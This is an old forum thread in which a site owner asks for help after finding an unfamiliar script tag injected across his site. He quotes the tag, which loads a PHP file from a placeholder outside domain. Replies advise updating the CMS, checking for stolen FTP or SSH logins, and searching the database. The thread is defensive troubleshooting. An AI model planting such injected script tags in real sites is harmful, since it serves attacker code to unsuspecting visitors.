Advertisement
If you have a new account but are having problems posting or verifying your account, please email us on hello@boards.ie for help. Thanks :)
Hello all! Please ensure that you are posting a new thread or question in the appropriate forum. The Feedback forum is overwhelmed with questions that are having to be moved elsewhere. If you need help to verify your account contact hello@boards.ie
Hi there,
There is an issue with role permissions that is being worked on at the moment.
If you are having trouble with access or permissions on regional forums please post here to get access: https://www.boards.ie/discussion/2058365403/you-do-not-have-permission-for-that#latest

SQl Injection i think

  • 19-10-2009 4:25pm
    #1
    The Mighty Dubs
    Registered Users, Registered Users 2 Posts: 224 ✭✭


    Hi,

    I just came across a piece of script that has been put into my source code throughout the site...and not by me.

    Im not sure how they did it but im fearing this could get more serious and end up them hitting my db. Here is example(kind of) of the script im finding...


    <script src="Http://www.domainname.com/a/a.php></script&gt;

    HELP!!!!!!


Comments

  • #2
    ifah
    Registered Users, Registered Users 2 Posts: 576 ✭✭✭ifah


    pm me your domain if you want me to take a look...... i can pass on some of my details if you like.


  • #3
    JimmyCrackCorn!
    Closed Accounts Posts: 752 ✭✭✭JimmyCrackCorn!


    I assume your using a CMS

    Update it and go looking for reports of security holes.


  • #4
    FruitLover
    Registered Users, Registered Users 2 Posts: 2,534 ✭✭✭FruitLover


    There's also the possibility of a worm on a developer's system capturing FTP/SSH/WebDAV login details.


  • #5
    The Mighty Dubs
    Registered Users, Registered Users 2 Posts: 224 ✭✭The Mighty Dubs


    Hi, i have located the issue but need a hand to fix it.

    Basically the page has <!--#INCLUDE FILE="aaa.asp" --> files in it and i need to encode them. anybody know how i can do this...


  • #6
    JimmyCrackCorn!
    Closed Accounts Posts: 752 ✭✭✭JimmyCrackCorn!


    The Mighty Dubs wrote: »
    Hi, i have located the issue but need a hand to fix it.

    Basically the page has <!--#INCLUDE FILE="aaa.asp" --> files in it and i need to encode them. anybody know how i can do this...

    Thats only part of your issue and you'll find it in the database if you search through it.

    The big issue is fixing how it was done.


  • Advertisement
Advertisement